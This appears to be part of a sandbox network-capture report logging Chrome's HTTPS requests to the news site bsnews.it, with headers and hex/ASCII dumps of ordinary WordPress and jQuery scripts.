2024-03-28 08:51:02 UTC	678	IN	Data Raw: 37 64 30 31 0d 0a 2f 2a 0a 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 2d 20 76 30 2e 39 2e 39 20 2d 20 32 30 31 33 2d 31 32 2d 32 37 0a 20 68 74 74 70 3a 2f 2f 64 69 6d 73 65 6d 65 6e 6f 76 2e 63 6f 6d 2f 70 6c 75 67 69 6e 73 2f 6d 61 67 6e 69 66 69 63 2d 70 6f 70 75 70 2f 0a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 33 20 44 6d 69 74 72 79 20 53 65 6d 65 6e 6f 76 3b 20 2a 2f 0a 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 6a 73 77 69 6e 67 3d 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 73 77 69 6e 67 3b 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2c 7b 64 65 66 3a 22 65 61 73 65 4f 75 74 51 75 61 64 22 2c 73 77 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 68 29 7b 72 65 74 75 72 6e 20 Data Ascii: 7d01/* Magnific Popup - v0.9.9 - 2013-12-27 http://dimsemenov.com/plugins/magnific-popup/ Copyright (c) 2013 Dmitry Semenov; */jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(a,b,c,d,h){return
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 2f 32 2a 28 28 62 2d 3d 32 29 2a 62 2a 62 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 68 29 7b 72 65 74 75 72 6e 20 64 2a 28 62 2f 3d 68 29 2a 62 2a 62 2a 62 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 68 29 7b 72 65 74 75 72 6e 2d 64 2a 28 28 62 3d 62 2f 68 2d 31 29 2a 62 2a 62 2a 62 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 68 29 7b 72 65 74 75 72 6e 20 31 3e 28 62 2f 3d 68 2f 32 29 3f 64 2f 32 2a 62 2a 62 2a 62 2a 62 2b 63 3a 2d 64 2f 32 2a 28 28 62 2d 3d 32 29 2a 62 2a 62 2a 62 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e Data Ascii: /2((b-=2)bb+2)+c},easeInQuart:function(a,b,c,d,h){return d(b/=h)bbb+c},easeOutQuart:function(a,b,c,d,h){return-d((b=b/h-1)bbb-1)+c},easeInOutQuart:function(a,b,c,d,h){return 1>(b/=h/2)?d/2bbbb+c:-d/2((b-=2)bb*b-2)+c},easeInQuint:function
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 65 74 75 72 6e 2d 28 70 2a 4d 61 74 68 2e 70 6f 77 28 32 2c 31 30 2a 2d 2d 62 29 2a 4d 61 74 68 2e 73 69 6e 28 32 2a 28 62 2a 68 2d 61 29 2a 4d 61 74 68 2e 50 49 2f 66 29 29 2b 63 7d 2c 65 61 73 65 4f 75 74 45 6c 61 73 74 69 63 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 68 29 7b 61 3d 31 2e 37 30 31 35 38 3b 76 61 72 20 66 3d 30 2c 70 3d 64 3b 69 66 28 30 3d 3d 62 29 72 65 74 75 72 6e 20 63 3b 69 66 28 31 3d 3d 28 62 2f 3d 0a 68 29 29 72 65 74 75 72 6e 20 63 2b 64 3b 66 7c 7c 28 66 3d 2e 33 2a 68 29 3b 70 3c 4d 61 74 68 2e 61 62 73 28 64 29 3f 28 70 3d 64 2c 61 3d 66 2f 34 29 3a 61 3d 66 2f 28 32 2a 4d 61 74 68 2e 50 49 29 2a 4d 61 74 68 2e 61 73 69 6e 28 64 2f 70 29 3b 72 65 74 75 72 6e 20 70 2a 4d 61 74 68 2e 70 6f 77 28 32 2c 2d 31 30 2a 62 Data Ascii: eturn-(pMath.pow(2,10--b)Math.sin(2(bh-a)Math.PI/f))+c},easeOutElastic:function(a,b,c,d,h){a=1.70158;var f=0,p=d;if(0==b)return c;if(1==(b/=h))return c+d;f\|\|(f=.3h);p<Math.abs(d)?(p=d,a=f/4):a=f/(2Math.PI)Math.asin(d/p);return pMath.pow(2,-10*b
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 73 75 70 65 72 73 75 62 73 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 61 2e 66 6e 2e 73 75 70 65 72 73 75 62 73 2e 64 65 66 61 75 6c 74 73 2c 62 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 68 3d 61 2e 6d 65 74 61 3f 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 63 2c 62 2e 64 61 74 61 28 29 29 3a 63 3b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 66 69 6e 64 28 22 2e 73 75 62 2d 6d 65 6e 75 22 29 2e 73 68 6f 77 28 29 2c 64 3d 61 28 27 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 66 6f 6e 74 73 69 7a 65 22 3e 26 23 38 32 31 32 3b 3c 2f 6c 69 Data Ascii: unction(a){a.fn.supersubs=function(b){var c=a.extend({},a.fn.supersubs.defaults,b);return this.each(function(){var b=a(this),h=a.meta?a.extend({},c,b.data()):c;setTimeout(function(b){var c=b.find(".sub-menu").show(),d=a('<li id="menu-fontsize">—</li
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 69 6c 74 65 72 3a 22 61 6c 70 68 61 28 6f 70 61 63 69 74 79 3a 22 2b 31 30 30 2a 62 2e 73 63 72 6f 6c 6c 62 61 72 4f 70 61 63 69 74 79 2b 22 29 22 7d 29 7d 2c 68 69 64 65 53 63 72 6f 6c 6c 62 61 72 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 65 2c 63 2c 64 2c 67 2c 66 2c 68 2c 70 2c 71 29 7b 69 66 28 61 2e 73 63 72 6f 6c 6c 62 61 72 26 26 61 2e 73 63 72 6f 6c 6c 62 61 72 48 69 64 65 29 66 6f 72 28 76 61 72 20 6c 3d 65 3b 6c 3c 65 2b 32 35 3b 6c 2b 2b 29 62 5b 62 2e 6c 65 6e 67 74 68 5d 3d 6b 2e 68 69 64 65 53 63 72 6f 6c 6c 62 61 72 49 6e 74 65 72 76 61 6c 54 69 6d 65 72 28 31 30 2a 0a 6c 2c 63 5b 65 5d 2c 28 65 2b 32 34 2d 6c 29 2f 32 34 2c 64 2c 67 2c 66 2c 68 2c 70 2c 71 2c 61 29 7d 2c 68 69 64 65 53 63 72 6f 6c 6c 62 61 72 49 6e 74 65 72 76 61 6c 3a 66 Data Ascii: ilter:"alpha(opacity:"+100b.scrollbarOpacity+")"})},hideScrollbar:function(a,b,e,c,d,g,f,h,p,q){if(a.scrollbar&&a.scrollbarHide)for(var l=e;l<e+25;l++)b[b.length]=k.hideScrollbarIntervalTimer(10l,c[e],(e+24-l)/24,d,g,f,h,p,q,a)},hideScrollbarInterval:f
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 65 72 4f 66 66 73 65 74 28 61 28 63 29 5b 4f 5d 2c 4e 29 3b 41 2e 73 70 6c 69 63 65 28 30 2c 30 2c 2d 31 2a 4e 2b 76 29 3b 41 2e 73 70 6c 69 63 65 28 41 2e 6c 65 6e 67 74 68 2d 31 2c 31 29 3b 71 5b 72 5d 3d 2d 31 2a 41 5b 30 5d 2b 76 3b 77 5b 72 5d 3d 71 5b 72 5d 2b 6c 2d 67 3b 48 5b 72 5d 2d 2d 3b 44 5b 72 5d 2b 2b 7d 66 6f 72 28 3b 65 3e 2d 31 2a 71 5b 72 5d 3b 29 4f 3d 30 2c 43 3d 6b 2e 67 65 74 53 6c 69 64 65 72 4f 66 66 73 65 74 28 61 28 63 5b 30 5d 29 2c 22 78 22 29 2c 61 28 63 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6b 2e 67 65 74 53 6c 69 64 65 72 4f 66 66 73 65 74 28 74 68 69 73 2c 22 78 22 29 3e 43 26 26 28 43 3d 6b 2e 67 65 74 53 6c 69 64 65 72 4f 66 66 73 65 74 28 74 68 69 73 2c 22 78 22 29 2c 4f 3d 61 29 7d 29 2c 4e 3d 71 5b Data Ascii: erOffset(a(c)[O],N);A.splice(0,0,-1N+v);A.splice(A.length-1,1);q[r]=-1A[0]+v;w[r]=q[r]+l-g;H[r]--;D[r]++}for(;e>-1*q[r];)O=0,C=k.getSliderOffset(a(c[0]),"x"),a(c).each(function(a){k.getSliderOffset(this,"x")>C&&(C=k.getSliderOffset(this,"x"),O=a)}),N=q[
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 28 62 29 5b 30 5d 21 3d 3d 61 28 6e 29 5b 30 5d 26 26 28 45 2a 3d 2d 31 2c 66 2a 3d 2d 32 29 3b 6e 3d 48 5b 7a 5d 3b 69 66 28 52 2e 69 6e 66 69 6e 69 74 65 53 6c 69 64 65 72 29 76 61 72 20 6d 3d 71 5b 7a 5d 2c 4f 3d 77 5b 7a 5d 3b 46 3d 5b 5d 3b 79 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 43 3d 30 3b 43 3c 4e 2e 6c 65 6e 67 74 68 3b 43 2b 2b 29 46 5b 43 5d 3d 4e 5b 43 5d 2c 43 3c 63 2e 6c 65 6e 67 74 68 26 26 28 79 5b 43 5d 3d 6b 2e 67 65 74 53 6c 69 64 65 72 4f 66 66 73 65 74 28 61 28 63 5b 43 5d 29 2c 22 78 22 29 29 3b 66 6f 72 28 3b 31 3c 66 7c 7c 2d 31 3e 66 3b 29 7b 66 2a 3d 66 72 69 63 74 69 6f 6e 43 6f 65 66 66 69 63 69 65 6e 74 3b 6c 2b 3d 66 3b 28 6c 3e 2d 31 2a 71 5b 7a 5d 7c 7c 6c 3c 2d 31 2a 77 5b 7a 5d 29 26 26 21 52 2e 69 6e 66 69 6e 69 74 65 53 Data Ascii: (b)[0]!==a(n)[0]&&(E=-1,f=-2);n=H[z];if(R.infiniteSlider)var m=q[z],O=w[z];F=[];y=[];for(var C=0;C<N.length;C++)F[C]=N[C],C<c.length&&(y[C]=k.getSliderOffset(a(c[C]),"x"));for(;1<f\|\|-1>f;){f=frictionCoefficient;l+=f;(l>-1q[z]\|\|l<-1*w[z])&&!R.infiniteS
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 77 53 63 72 6f 6c 6c 48 6f 72 69 7a 6f 6e 74 61 6c 49 6e 74 65 72 76 61 6c 54 69 6d 65 72 28 31 30 2a 6c 2c 62 2c 63 2c 67 5b 6c 5d 2c 64 2c 68 2c 70 2c 76 2c 47 2c 4c 2c 66 2c 41 2c 4e 2c 72 2c 78 2c 74 2c 7a 2c 4a 2c 6e 2c 52 29 3b 6d 3d 28 66 2b 48 5b 7a 5d 2b 78 29 25 78 3b 22 22 21 3d 52 2e 6f 6e 53 6c 69 64 65 43 6f 6d 70 6c 65 74 65 26 26 31 3c 67 2e 6c 65 6e 67 74 68 26 26 28 65 5b 65 2e 6c 65 6e 67 74 68 5d 3d 6b 2e 6f 6e 53 6c 69 64 65 43 6f 6d 70 6c 65 74 65 54 69 6d 65 72 28 31 30 2a 0a 28 6c 2b 31 29 2c 52 2c 62 2c 61 28 62 29 2e 63 68 69 6c 64 72 65 6e 28 22 3a 65 71 28 22 2b 6d 2b 22 29 22 29 2c 6e 2c 7a 29 29 3b 65 5b 65 2e 6c 65 6e 67 74 68 5d 3d 6b 2e 75 70 64 61 74 65 42 61 63 6b 66 61 63 65 56 69 73 69 62 69 6c 69 74 79 54 69 6d 65 72 Data Ascii: wScrollHorizontalIntervalTimer(10l,b,c,g[l],d,h,p,v,G,L,f,A,N,r,x,t,z,J,n,R);m=(f+H[z]+x)%x;""!=R.onSlideComplete&&1<g.length&&(e[e.length]=k.onSlideCompleteTimer(10(l+1),R,b,a(b).children(":eq("+m+")"),n,z));e[e.length]=k.updateBackfaceVisibilityTimer
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 21 31 2c 63 3d 61 28 22 3c 64 69 76 20 2f 3e 22 29 2e 63 73 73 28 7b 6d 73 54 72 61 6e 73 66 6f 72 6d 3a 22 6d 61 74 72 69 78 28 31 2c 31 2c 31 2c 31 2c 31 2c 31 29 22 2c 77 65 62 6b 69 74 54 72 61 6e 73 66 6f 72 6d 3a 22 6d 61 74 72 69 78 28 31 2c 31 2c 31 2c 31 2c 31 2c 31 29 22 2c 4d 6f 7a 54 72 61 6e 73 66 6f 72 6d 3a 22 6d 61 74 72 69 78 28 31 2c 31 2c 31 2c 31 2c 31 2c 31 29 22 2c 74 72 61 6e 73 66 6f 72 6d 3a 22 6d 61 74 72 69 78 28 31 2c 31 2c 31 2c 31 2c 31 2c 31 29 22 7d 29 3b 22 22 3d 3d 63 2e 61 74 74 72 28 22 73 74 79 6c 65 22 29 3f 62 3d 21 31 3a 42 26 26 32 31 3c 3d 70 61 72 73 65 49 6e 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 73 70 6c 69 74 28 22 2f 22 29 5b Data Ascii: m:function(){var b=!1,c=a("<div />").css({msTransform:"matrix(1,1,1,1,1,1)",webkitTransform:"matrix(1,1,1,1,1,1)",MozTransform:"matrix(1,1,1,1,1,1)",transform:"matrix(1,1,1,1,1,1)"});""==c.attr("style")?b=!1:B&&21<=parseInt(navigator.userAgent.split("/")[
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 68 3b 6c 2b 2b 29 7b 69 66 28 30 3d 3d 6c 7c 7c 31 3c 4d 61 74 68 2e 61 62 73 28 4f 5b 6c 5d 2d 79 29 7c 7c 6c 3e 3d 4f 2e 6c 65 6e 67 74 68 2d 32 29 79 3d 4f 5b 6c 5d 2c 64 5b 6c 5d 3d 6b 2e 73 6c 6f 77 53 63 72 6f 6c 6c 48 6f 72 69 7a 6f 6e 74 61 6c 49 6e 74 65 72 76 61 6c 54 69 6d 65 72 28 31 30 2a 28 6c 2b 31 29 2c 63 2c 65 2c 4f 5b 6c 5d 2c 66 2c 67 2c 68 2c 70 2c 71 2c 76 2c 62 2c 47 2c 41 2c 7a 2c 72 2c 78 2c 74 2c 77 2c 45 2c 6e 29 3b 30 3d 3d 6c 26 26 22 22 21 3d 6e 2e 6f 6e 53 6c 69 64 65 53 74 61 72 74 26 26 28 6d 3d 28 44 5b 74 5d 2b 48 5b 74 5d 2b 72 29 25 72 2c 6e 2e 6f 6e 53 6c 69 64 65 53 74 61 72 74 28 6e 65 77 20 6b 2e 61 72 67 73 28 22 73 74 61 72 74 22 2c 6e 2c 63 2c 61 28 63 29 2e 63 68 69 6c 64 72 65 6e 28 22 3a 65 71 28 22 2b 6d 2b Data Ascii: h;l++){if(0==l\|\|1<Math.abs(O[l]-y)\|\|l>=O.length-2)y=O[l],d[l]=k.slowScrollHorizontalIntervalTimer(10*(l+1),c,e,O[l],f,g,h,p,q,v,b,G,A,z,r,x,t,w,E,n);0==l&&""!=n.onSlideStart&&(m=(D[t]+H[t]+r)%r,n.onSlideStart(new k.args("start",n,c,a(c).children(":eq("+m+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49786	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	656	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdPostImages.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	739	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=2449 etag: W/"65f20638-991" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4447 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w3vAYIUsEhKEYAnCPqcEBTD4qmbxM%2FYNO5o7VmeKw5f9A3EbvesXm9hHTwPspqt1FOYtuGv6M4pL1VcIPDSomWfHculSbluvov%2FLYUPLjr2DezVRpr8dPni%2BB6g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66044dd1657d8-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	630	IN	Data Raw: 39 38 62 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 6a 51 75 65 72 79 28 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 55 74 69 6c 2e 69 6d 61 67 65 4d 6f 76 65 43 6c 61 73 73 54 6f 46 69 67 75 72 65 28 22 74 64 2d 70 6f 73 74 2d 69 6d 61 67 65 2d 66 75 6c 6c 22 29 3b 74 64 55 74 69 6c 2e 69 6d 61 67 65 4d 6f 76 65 43 6c 61 73 73 54 6f 46 69 67 75 72 65 28 22 74 64 2d 70 6f 73 74 2d 69 6d 61 67 65 2d 72 69 67 68 74 22 29 3b 74 64 55 74 69 6c 2e 69 6d 61 67 65 4d 6f 76 65 43 6c 61 73 73 54 6f 46 69 67 75 72 65 28 22 74 64 2d 70 6f 73 74 2d 69 6d 61 67 65 2d 6c 65 66 74 22 29 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 74 64 73 5f 67 65 6e 65 72 61 6c 5f 6d 6f 64 61 6c 5f 69 6d 61 67 65 26 26 22 Data Ascii: 98b"use strict";jQuery().ready(function(){tdUtil.imageMoveClassToFigure("td-post-image-full");tdUtil.imageMoveClassToFigure("td-post-image-right");tdUtil.imageMoveClassToFigure("td-post-image-left");"undefined"!==typeof window.tds_general_modal_image&&"
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6d 61 67 65 22 29 2c 2d 31 21 3d 3d 64 2e 69 6e 64 65 78 4f 66 28 22 61 74 74 61 63 68 6d 65 6e 74 22 29 26 26 62 2e 61 74 74 72 28 22 68 72 65 66 22 2c 61 2e 61 74 74 72 28 22 73 72 63 22 29 29 29 7d 7d 29 2c 6a 51 75 65 72 79 28 22 2e 73 69 6e 67 6c 65 20 2e 74 64 2d 70 6f 73 74 2d 63 6f 6e 74 65 6e 74 20 70 20 69 6d 67 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 2d 31 21 3d 3d 62 2e 63 6c 61 73 73 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 77 70 2d 69 6d 61 67 65 22 29 29 7b 61 3d 6a 51 75 65 72 79 28 62 29 3b 62 3d 61 2e 70 61 72 65 6e 74 28 29 2e 61 74 74 72 28 22 68 72 65 66 22 29 3b 76 61 72 20 64 3d 61 2e 61 74 74 72 28 22 73 72 63 22 29 2c 63 3d 61 2e 61 74 74 72 28 22 73 72 63 22 29 2e 6d 61 74 63 68 28 2f 2d Data Ascii: mage"),-1!==d.indexOf("attachment")&&b.attr("href",a.attr("src")))}}),jQuery(".single .td-post-content p img").filter(function(a,b){if(-1!==b.className.indexOf("wp-image")){a=jQuery(b);b=a.parent().attr("href");var d=a.attr("src"),c=a.attr("src").match(/-
2024-03-28 08:51:02 UTC	451	IN	Data Raw: 65 72 79 28 22 2e 73 69 6e 67 6c 65 20 2e 74 64 2d 70 6f 73 74 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 67 61 6c 6c 65 72 79 20 2e 74 64 2d 6d 6f 64 61 6c 2d 69 6d 61 67 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 69 6d 67 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 2d 31 21 3d 3d 62 2e 63 6c 61 73 73 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 77 70 2d 69 6d 61 67 65 22 29 29 7b 61 3d 6a 51 75 65 72 79 28 62 29 3b 62 3d 61 2e 70 61 72 65 6e 74 28 29 3b 76 61 72 20 64 3d 61 2e 61 74 74 72 28 22 73 72 63 22 29 2c 63 3d 61 2e 70 61 72 65 6e 74 28 29 2e 63 68 69 6c 64 72 65 6e 28 22 66 69 67 63 61 70 74 69 6f 6e 22 29 2e 68 74 6d 6c 28 29 3b 62 2e 70 61 72 65 6e 74 28 29 2e 68 61 73 43 6c 61 73 73 Data Ascii: ery(".single .td-post-content .wp-block-gallery .td-modal-image .wp-block-image img").filter(function(a,b){if(-1!==b.className.indexOf("wp-image")){a=jQuery(b);b=a.parent();var d=a.attr("src"),c=a.parent().children("figcaption").html();b.parent().hasClass
2024-03-28 08:51:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49787	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	659	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdSocialSharing.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	732	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=2632 etag: W/"65f20638-a48" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nn9g5ABDpywTsxPr9x0VQHt%2BEcLBLaTmosMCttNnpIgg9vg1evfNAAlZrF%2Bq8NU9zUuuKUtIdPHvXYn3x6ecfCA21vN1HO7RVtgw3%2F%2B4yDa%2FrW346jSjgmRBivE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660452f353b8f-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	637	IN	Data Raw: 61 34 32 0d 0a 76 61 72 20 74 64 53 6f 63 69 61 6c 53 68 61 72 69 6e 67 3d 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 53 6f 63 69 61 6c 53 68 61 72 69 6e 67 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 51 75 65 72 79 28 22 2e 74 64 2d 73 6f 63 69 61 6c 2d 73 68 61 72 69 6e 67 2d 62 75 74 74 6f 6e 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6a 51 75 65 72 79 28 74 68 69 73 29 2c 65 3d 22 22 3b 69 66 28 21 62 2e 68 61 73 43 6c 61 73 73 28 22 74 64 2d 73 6f 63 69 61 6c 2d 6d 61 69 6c 22 29 26 26 21 62 2e 68 61 73 43 6c 61 73 73 28 22 74 64 2d 73 6f 63 69 61 6c 2d 73 68 61 72 65 2d 74 65 78 74 22 29 29 69 66 28 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 62 2e 68 61 73 43 6c Data Ascii: a42var tdSocialSharing={};(function(){tdSocialSharing={init:function(){jQuery(".td-social-sharing-button").on("click",function(a){var b=jQuery(this),e="";if(!b.hasClass("td-social-mail")&&!b.hasClass("td-social-share-text"))if(a.preventDefault(),b.hasCl
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 64 64 65 6e 3a 66 69 72 73 74 22 29 3b 66 2e 68 6f 72 69 7a 6f 6e 74 61 6c 5f 65 6c 65 6d 65 6e 74 5f 63 73 73 5f 63 6c 61 73 73 3d 22 74 64 2d 73 6f 63 69 61 6c 2d 73 68 61 72 69 6e 67 2d 62 75 74 74 6f 6e 2d 6a 73 22 3b 66 2e 63 6f 6e 74 61 69 6e 65 72 5f 6a 71 75 65 72 79 5f 6f 62 6a 3d 63 2e 70 61 72 65 6e 74 73 28 22 2e 74 64 2d 70 6f 73 74 2d 73 68 61 72 69 6e 67 3a 66 69 72 73 74 22 29 3b 74 64 50 75 6c 6c 44 6f 77 6e 2e 61 64 64 5f 69 74 65 6d 28 66 29 3b 6a 51 75 65 72 79 28 22 23 22 2b 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 74 64 2d 73 6f 63 69 61 6c 2d 73 68 6f 77 2d 61 6c 6c 22 29 3b 64 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 74 64 2d 69 63 6f 6e 2d 6d 69 6e 75 73 22 29 3b 64 2e 61 64 64 43 6c 61 73 73 28 22 74 64 2d 69 63 6f 6e 2d Data Ascii: dden:first");f.horizontal_element_css_class="td-social-sharing-button-js";f.container_jquery_obj=c.parents(".td-post-sharing:first");tdPullDown.add_item(f);jQuery("#"+e).removeClass("td-social-show-all");d.removeClass("td-icon-minus");d.addClass("td-icon-
2024-03-28 08:51:02 UTC	627	IN	Data Raw: 2d 70 6f 73 74 2d 73 68 61 72 69 6e 67 2d 73 68 6f 77 2d 61 6c 6c 2d 69 63 6f 6e 73 22 29 3f 28 61 3d 6a 51 75 65 72 79 28 61 29 2e 64 61 74 61 28 22 74 64 2d 62 6c 6f 63 6b 2d 75 69 64 22 29 2c 6a 51 75 65 72 79 28 22 23 22 2b 61 29 2e 61 64 64 43 6c 61 73 73 28 22 74 64 2d 73 6f 63 69 61 6c 2d 73 68 6f 77 2d 61 6c 6c 22 29 29 3a 6a 51 75 65 72 79 28 22 2e 74 64 2d 70 6f 73 74 2d 73 68 61 72 69 6e 67 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 2c 61 29 7b 62 3d 6a 51 75 65 72 79 28 74 68 69 73 29 3b 61 3d 6a 51 75 65 72 79 28 61 29 3b 76 61 72 20 64 3d 61 2e 66 69 6e 64 28 22 2e 74 64 2d 70 6f 73 74 2d 73 68 61 72 69 6e 67 2d 76 69 73 69 62 6c 65 3a 66 69 72 73 74 22 29 2c 63 3d 6e 65 77 20 74 64 50 75 6c 6c 44 6f 77 6e 2e 69 74 65 6d 3b 63 2e Data Ascii: -post-sharing-show-all-icons")?(a=jQuery(a).data("td-block-uid"),jQuery("#"+a).addClass("td-social-show-all")):jQuery(".td-post-sharing").each(function(b,a){b=jQuery(this);a=jQuery(a);var d=a.find(".td-post-sharing-visible:first"),c=new tdPullDown.item;c.
2024-03-28 08:51:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49788	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	377	OUT	GET /wp-content/uploads/2017/04/quadrato-icon.jpg HTTP/1.1 Host: bsnews.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
